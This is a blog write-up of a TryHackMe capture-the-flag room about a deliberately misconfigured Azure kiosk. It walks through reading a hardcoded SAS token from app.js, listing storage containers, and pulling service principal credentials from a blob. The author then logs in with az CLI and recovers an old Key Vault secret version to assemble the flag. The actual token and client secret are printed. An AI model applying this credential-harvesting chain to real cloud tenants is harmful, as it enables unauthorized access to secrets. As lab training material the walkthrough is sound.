← Writing

HH2026 - 09 - CryptoCabana

writeuptryhackmeHH2026

TryHackMe’s HackerHotel 2026 Event

This writeup is part of a series going through TryHackMe’s 2026 14-day Hacker Holidays daily challenge event

Background & Info from the Challenge Page

This section was copied from the Day 9 challenge page on THM.

This challenge was rated as Medium.

The category was Cloud and the associated tags were:

Concierge Briefing

By the time he made it back from the breakfast buffet, his wallet had already moved on without him. The transaction was signed, properly signed, just not by him.

He’d backed his seed phrase up weeks ago, into the CryptoCabana kiosk’s vault — the one whose landing page promised, in exactly four words, “Backed up. Sleep easy.” Somewhere between that promise and this morning, something else got a good look at what was supposed to stay behind glass.

Your objective: find out what the kiosk is quietly trusting to reach into storage on its own, and see how much further that trust actually extends.

Room Access

Today’s Itinerary - Goals

  1. Pull apart what the kiosk hands out for free before you’ve even clicked anything.
  2. Follow that trust somewhere the kiosk’s own page never once points you.
  3. Somewhere in there is a second, more valuable set of keys — and a vault that won’t give up the real values on the first ask.

Mia’s Story

@0xMia “the backup kiosk is SO confident. ‘sleep easy’ it says 💀 reader, do not sleep easy. also: if a value looks freshly rotated, ask yourself what it looked like five minutes before that 👀“

Recon - Reading the Kiosk’s app.js

The room gives us a static site at https://cryptocabanaf5scjagc.z13.web.core.windows.net/, and a look at the landing page shows a field to backup a 12-word seed phrase (yikes).

screenshot

I tried writing in 12 words and got a message saying the backup failed due to “network error”. Odd. Maybe it’s just flavor and not supposed to work, but noted regardless. Something might still happen when clicking the backup button.

Moving on, we may be tempted to try injections immediately upon seeing a form, especially after some of the recent challenges. However let’s chill for a bit first and check page source:

screenshot

The page exposes an app.js, which is the obvious thing to look at next.

screenshot

It turns out app.js exposes a lot of sensitive (and useful) information, including the function used to backup seed phrases (which, interestingly, will not have been very useful in the end). Some of the notable parts below.

const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";

There are some hardcoded constants containing strings that look to me like they’re used to reach the backend Azure Blob Storage REST endpoint for the cryptocabanaf5scjagc storage account: the account name, the container, and a SAS token credential.

Later in the app.js code, we get information that lets us find out the URL for the server:

const blobName = "backup-" + Date.now() + ".txt";
const url =
"https://" + STORAGE_ACCOUNT + ".blob.core.windows.net/" +
BACKUPS_CONTAINER + "/" + blobName + "?" + BACKUP_SAS;

Since those three constants are hardcoded above, it’s easy to reconstruct most of this. The URL will look something like:

"https://cryptocabanaf5scjagc.blob.core.windows.net/backups/"
+ blobName +
"?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"

blobName is going to look something like “backup-” then the current date (via Date.now()) and finishing with “.txt”. I know the naming pattern because it’s built right there in the backup function of app.js: blobName = "backup-" + Date.now() + ".txt". Date.now() returns a UNIX timestamp in milliseconds. At first I thought it would be difficult to pinpoint the value of blobName, since finding the exact timestamp of when the page loaded and app.js ran Date.now() would be tedious at best.

However, after thinking in circles about it, I suddenly realized that knowing it would be irrelevant in this situation. Brute-forcing blob names only matters if I want to know what my own seed phrase backup would be named in the backups container. The backup function doesn’t work anyway (network error described earlier).

We already have plenty of useful parts, namely what’s in the rest of the URL. Let’s break down each of the query string parameters (each value after ?) and what they mean or do, see if that gives us more tidbits to chew on.

ParameterWhat it means
?sv=2022-11-02sv = signed version. The Azure Storage API version this token is valid against. Matters if the storage service ever changes its accepted versions; here it’s just an API version number.
ss=bss = signed services. Which Azure storage service the token is good for. b = Blob only. The full set is b = Blob, f = File, q = Queue, t = Table, and you can stack them (ss=bf = Blob and File). Ours is Blob only, which fits what the kiosk touches.
srt=scosrt = signed resource types. What level within the storage the token works at. s = service, c = container, o = object. sco means all three, so this token isn’t scoped to a single container. That’s the bit that lets us list the whole account instead of guessing blob names.
sp=rlsp = signed permissions. Which actions the token grants. r = read, l = list. Read works at any level; list applies at service and container level, which is exactly how we enumerate containers and blobs. And look what’s missing: no w for write. This token can look at anything but change nothing.
se=2099-12-31T23:59:59Zse = signed expiry. The UTC moment the token stops being valid. 2099 is basically never, so for all practical purposes this token is immortal.
st=2024-01-01T00:00:00Zst = signed start. The UTC moment the token becomes valid. It’s optional; leave it out and the token is live from the moment the storage service receives the request. Setting it in the past, like here, just means the token is already live.
spr=httpsspr = signed protocol. Which protocol requests made with this token may use. https means HTTPS only; the other allowed value is https,http. HTTP alone isn’t a permitted value.
sig=...sig = signature. An HMAC-SHA256 computed over the string-to-sign (the account name plus all the fields above) with the storage account key, then base64-encoded. It’s how the service knows the token wasn’t forged. There’s nothing to decode out of it; it’s just proof.

Enumerating the Storage Account

So all of that points at the storage account endpoint at https://cryptocabanaf5scjagc.blob.core.windows.net/, where the app keeps its backups container.

However, if we go there directly we get an error:

<Error>
<Code>InvalidQueryParameterValue</Code>
<Message>Value for one of the query parameters specified in the request URI is invalid. RequestId:184daf69-801e-005d-04d2-4461af000000 Time:2026-09-15T05:26:50.9065285Z</Message>
<QueryParameterName>comp</QueryParameterName>
<QueryParameterValue/>
</Error>

I googled “azure blob storage SAS” to learn more about that URL and service (the account SAS reference ended up being the useful page). The URL parameters in app.js hint at what access we can have (sp=rl meaning read and list).

Reading the docs, I find we can do a GET request with comp=list to list containers (or via the URL with ?comp=list). The browser is fine for these simple GETs since the SAS rides in the URL. curl is the better tool once you care about response headers or want to script and quote things cleanly.

Once we list containers, we can list the blobs inside a container. A blob is just the generic name for a stored file (Binary Large Object). Each request is one operation, so the whole string goes together: the path /vault is the address, restype=container tells Azure the target is a container, and comp=list is the operation to run on it. I found out the hard way that dropping comp=list matters: hitting /vault?restype=container on its own runs a different operation, Get Container Properties, which answers in HTTP headers instead of the body, so the browser shows a blank page. The other main restype is service for account-level calls, and plain blob reads need no restype at all.

Hitting https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list&<SAS> (the account URL, then comp=list, then the BACKUP_SAS value from app.js) returns three containers: $web, backups, and vault.

screenshot

Note: containers sit at the account root by Azure convention, e.g. https://<account>.blob.core.windows.net/<container>/<blob>, and they cannot nest.

screenshot

screenshot

To look inside one, we add restype=container to tell Azure we’re looking at a container, and comp=list to list the blobs in it.

So for /vault that gives us 2 blobs: a backup-service-account.json and a seed_phrase.txt.

The listing gives me names, but names aren’t the payload. To actually read a blob it’s a plain GET on the blob’s own URL with the SAS appended, no restype, no comp:

https://cryptocabanaf5scjagc.blob.core.windows.net/vault/backup-service-account.json?<SAS>

That’s a distinction that tripped me up mid-session: comp=list enumerates names and never returns content, and there is no restype=blob. The main restype values are service and container, plus a rarely used account for account-information calls.

The seed_phrase.txt was a decoy, just twelve words, ostensibly someone’s backup, but there wasn’t much to be done with it. The challenge itself points us towards a vault and some keys. The only interesting thing about the seed phrase txt file is its creation time: the listing XML shows backup-service-account.json was created just days later, which fits the “freshly rotated” hint. Besides that it appears to be mostly flavor.

So let’s turn our attention to the other blob, backup-service-account.json. Just as going to the url at /vault/seed_phrase.txt?<SAS> downloads the text file directly, the URL above for the backup service account json returns its raw contents straight into the browser:

{
"client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
"client_secret": "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
"key_vault_name": "ccabana-kv-f5scjagc",
"key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/",
"note": "CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT",
"tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c"
}

That’s a complete Azure login sitting in plain text. client_id and client_secret are the username and password of a service principal (an app registration made usable inside the directory), tenant_id names the Entra ID tenant it lives in, and key_vault_uri points at exactly where its secrets are stored. Not a tenant of its own, and not really “another app” either, just an identity we can now try logging in as.

Before moving on I also re-listed with &include=versions,snapshots to see if there were older blob versions hanging around. There were none, so whatever “ask what it looked like five minutes before” meant, it wasn’t going to be blob versions.

Logging In as the Service Principal

Up to this point everything could be done in the browser since the kiosk served a static side from $web, and we were able to reach it, enumerate its storage and read some vault blobs all from the browser itself. For the next step, we’ll need to use the az CLI. The room provides what we need for this next stage: temporary credentials for an Azure portal account.

screenshot

Logging into portal.azure.com with those credentials and firing up the Cloud Shell gives us a bash prompt inside that tenant.

screenshot

Let’s try logging in as the service principal we found. The command is az login --service-principal -u <client_id> -p <client_secret> --tenant <tenant_id>

The client id, secret, and tenant id are all in the JSON we found, so…

az login --service-principal -u "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5" -p "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg" --tenant "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c"

screenshot

Cloud Shell is already authenticated as the portal account it came with, so az may warn about already being logged in. That’s fine. az account show confirms what type of user we are, user.type should read servicePrincipal.

Once we’re logged in, being unfamiliar with the Azure CLI, I check out the az help docs and find a relevant entry in the list: keyvault.

screenshot

Checking what we can do with az keyvault --help, the interesting subcommand there is secret since that’s what we’re working with.

screenshot

And of course, to get more info on what the secret subcommand can do:

az keyvault secret --help

screenshot

The Key Vault and the Version Trick

Let’s list secrets.

At first I got an error because the command wanted a --vault-name.

az keyvault secret list --vault-name "ccabana-kv-f5scjagc"

[
{
"attributes": {
"created": "2026-07-19T15:21:07+00:00",
"enabled": true,
"expires": null,
"notBefore": null,
"recoverableDays": 7,
"recoveryLevel": "CustomizedRecoverable+Purgeable",
"updated": "2026-07-19T15:21:07+00:00"
},
"contentType": "",
"id": "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-1",
"managed": null,
"name": "key-shard-1",
"tags": {}
},
{
"attributes": {
"created": "2026-07-28T01:05:07+00:00",
"enabled": true,
"expires": null,
"notBefore": null,
"recoverableDays": 7,
"recoveryLevel": "CustomizedRecoverable+Purgeable",
"updated": "2026-07-28T01:05:07+00:00"
},
"contentType": null,
"id": "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2",
"managed": null,
"name": "key-shard-2",
"tags": {
"file-encoding": "utf-8"
}
},
{
"attributes": {
"created": "2026-07-19T15:21:07+00:00",
"enabled": true,
"expires": null,
"notBefore": null,
"recoverableDays": 7,
"recoveryLevel": "CustomizedRecoverable+Purgeable",
"updated": "2026-07-19T15:21:07+00:00"
},
"contentType": "",
"id": "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-3",
"managed": null,
"name": "key-shard-3",
"tags": {}
},
{
"attributes": {
"created": "2026-07-19T15:21:07+00:00",
"enabled": true,
"expires": "2020-01-01T00:00:00+00:00",
"notBefore": null,
"recoverableDays": 7,
"recoveryLevel": "CustomizedRecoverable+Purgeable",
"updated": "2026-07-28T09:42:52+00:00"
},
"contentType": "",
"id": "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/master-key",
"managed": null,
"name": "master-key",
"tags": {}
}
]

Looks like we have 3 “key shards”, and a master key. az has a keyvault secret show command for this, and the help shows it takes either the full --id or a --vault-name plus --name. The ids are already in the listing above, so:

az keyvault secret show --id "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-1"

screenshot

az keyvault secret show --id "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2"

screenshot

az keyvault secret show --id "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-3"

screenshot

Running these in succession, we find that shards 1 and 3 contain part of the challenge flag. Shard 2 is missing and says it’s been rotated by IT, but that old value should still be recoverable if we know where to look.

Curiosity says try the master-key too:

az keyvault secret show --id "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/master-key"

That one comes back (Forbidden). I had to ask an LLM to explain what I was looking at, and the term that kept coming up was RBAC (Role-Based Access Control), which I had never run into before. The short version: Azure doesn’t hand out credentials per resource, it assigns identities roles, and a role bundles up which actions that identity may take. Our service principal’s role covers reading secrets, yet getSecret on master-key is denied. Combined with an expires date already in the past (2020), that’s a decoy on two counts. Back to the shards.

Given the shard-2 note and Mia’s “five minutes before” line, one command stands out from the rest of az keyvault secret: list-versions : List all versions of the specified secret.

az keyvault secret list-versions --vault-name "ccabana-kv-f5scjagc" --name "key-shard-2"

screenshot

Looks like we have two versions. Let’s check out the older one (older by 2 minutes apparently). We have already called az keyvault secret show on the most recent version, so let’s try it on the older (rotated) version:

az keyvault secret show --vault-name "ccabana-kv-f5scjagc" --name "key-shard-2" --version "<older-version-id>"

screenshot

Got the 2nd flag shard. Let’s put them all together.

shard-1 = “THM{n0t_ur”
shard-2 = “k3ys_n0t”
shard-3 = “ur_c01ns!}”

shard-1 + shard-2 + shard-3 == “THM{n0t_ur_k3ys_n0t_ur_c01ns!}”

Ayy. Done! Also someone at THM is a bitcoiner, apparently.

The Kill Chain (at a glance)

StepActionResult
1Read app.js; decode SASService-level token: read+list across the whole account
2?comp=list on account3 containers; vault is unreferenced by any page
3List vault; download blobsService principal JSON + key vault name/URI
4az login --service-principalAuthenticated as the kiosk’s automation account
5secret list + show shardsFragments from shard-1/3; shard-2 current = decoy note; master-key Forbidden
6list-versions + show --version old idReal shard-2 fragment then flag

Questions Raised Along the Way

  1. Why enumerate container names instead of guessing Date.now() blob names? The SAS had list (sp=l), so the container/account tells you its own inventory. Name-guessing is only a fallback for read-only (sp=r) tokens.
  2. Why is there no w in a token the app uses to back things up? Because the “backup” was theater. The PUT would 403, and in a browser it wouldn’t even get that far, since a cross-origin PUT like this is blocked by CORS by default. The real content was the read+list side, which nobody scoped down.
  3. What does a (Forbidden) on master-key actually tell you? The SP’s role doesn’t include getSecret on that one secret (roles are assigned to an identity and scoped to resources, so one secret can be readable while another isn’t). The intended path was the shards, and the denial is a breadcrumb, not a prompt to escalate.
  4. Why did show on shard-2 return only the note? show without --version resolves to the latest version. The real value existed as an older version, visible only via list-versions then an explicit --version.
  5. Why did /vault alone error while /vault?restype=container&comp=list worked? The path is the address, and restype/comp are the operation. With neither, Azure can’t tell what you’re asking for. restype=container alone is a different call, Get Container Properties, which answers in HTTP headers instead of the body, so a browser shows nothing.
  6. Why az keyvault secret and not key or certificate? Key Vault has three data types: secrets (opaque strings), keys (crypto material the vault manages), and certificates (X.509, which bundle both). Flag fragments are text values, so they live as secrets.
  7. What is the difference between the tenant and the service principal? The tenant is the Entra ID directory, the identity boundary everything lives in. The service principal is a specific identity inside it. tenant_id says where, client_id plus client_secret say who.

Some Lessons Learned